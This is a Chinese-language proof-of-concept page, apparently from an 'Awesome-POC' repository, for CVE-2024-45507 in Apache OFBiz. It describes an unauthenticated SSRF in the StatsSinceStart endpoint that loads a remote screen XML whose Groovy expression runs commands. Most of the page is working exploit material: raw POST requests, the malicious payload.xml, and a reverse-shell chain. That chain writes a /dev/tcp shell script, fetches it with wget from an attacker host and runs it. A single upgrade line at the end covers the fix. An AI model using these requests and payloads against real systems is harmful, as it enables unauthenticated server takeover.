Awesome-POC/开发框架漏洞/Apache OFBiz SSRF 和远程代码执行漏洞 CVE-2024-45507.md
2024-11-06 14:10:36 +08:00

131 lines
3.8 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache OFBiz SSRF 和远程代码执行漏洞 CVE-2024-45507
## 漏洞描述
Apache OFBiz 是一个开源企业资源规划ERP系统。它提供了一套企业应用程序集成并自动化企业的许多业务流程。
Apache OFBiz 18.12.16 之前的版本存在一处 SSRF 与远程命令执行漏洞,未经身份验证的攻击者可以利用该漏洞执行任意命令并控制服务器。
参考链接:
- https://github.com/apache/ofbiz-framework/commit/ffb1bc4879
- https://xz.aliyun.com/t/15569
- https://paper.seebug.org/3228/
## 漏洞影响
```
Apache OFBiz < 18.12.16
```
## 网络测绘
```
app="Apache_OFBiz"
```
## 环境搭建
Vulhub 执行如下命令启动一个 Apache OfBiz 18.12.15 服务器:
```
docker compose up -d
```
在等待数分钟后,访问 `https://your-ip:8443/accounting` 查看到登录页面,说明环境已启动成功。
如果非本地 localhost 启动Headers 需要包含 `Host: localhost`,否则报错:
```
ERROR MESSAGE
org.apache.ofbiz.webapp.control.RequestHandlerException: Domain your-ip not accepted to prevent host header injection.
```
![](images/Apache%20OFBiz%20SSRF%20和远程代码执行漏洞%20CVE-2024-45507/image-20240918162954722.png)
## 漏洞复现
### SSRF 漏洞
`/webtools/control/forgotPassword/StatsSinceStart` 发送以下 POST 请求即可:
```
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: your-ip:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
statsDecoratorLocation=http://10.10.10.10/path/to/api
```
![](images/Apache%20OFBiz%20SSRF%20和远程代码执行漏洞%20CVE-2024-45507/image-20240918163414162.png)
## 远程代码执行漏洞
首先在服务器 `<attacker-ip>` 上部署恶意 XML 文件 payload.xml
```xml
<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${groovy:'touch /tmp/awesome_poc'.execute();}"/>
</actions>
</section>
</screen>
</screens>
```
然后将恶意 XML 的 URL 替换进请求中发送:
```
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
statsDecoratorLocation=http://<attacker-ip>/payload.xml
```
![](images/Apache%20OFBiz%20SSRF%20和远程代码执行漏洞%20CVE-2024-45507/image-20240918163838836.png)
命令 `touch /tmp/awesome_poc` 已经被成功执行:
![](images/Apache%20OFBiz%20SSRF%20和远程代码执行漏洞%20CVE-2024-45507/image-20240918164140447.png)
reverse shell payload
```
# 1. 在服务器 <attcker-ip> 托管 shell.sh
echo "/bin/bash -i >& /dev/tcp/<attcker-ip>/8888 0>&1" > shell.sh
# 2. 发送第一个数据包。在服务器 <attcker-ip> 托管 payload.xml下载 shell.sh
<actions>
<set value="${groovy:'wget <attcker-ip>/shell.sh'.execute();}"/>
</actions>
# 3. 发送第二个数据包。在服务器 <attcker-ip> 托管 payload.xml执行shell.sh
<actions>
<set value="${groovy:'bash shell.sh'.execute();}"/>
</actions>
```
## 漏洞修复
升级至 18.12.16 及以上版本。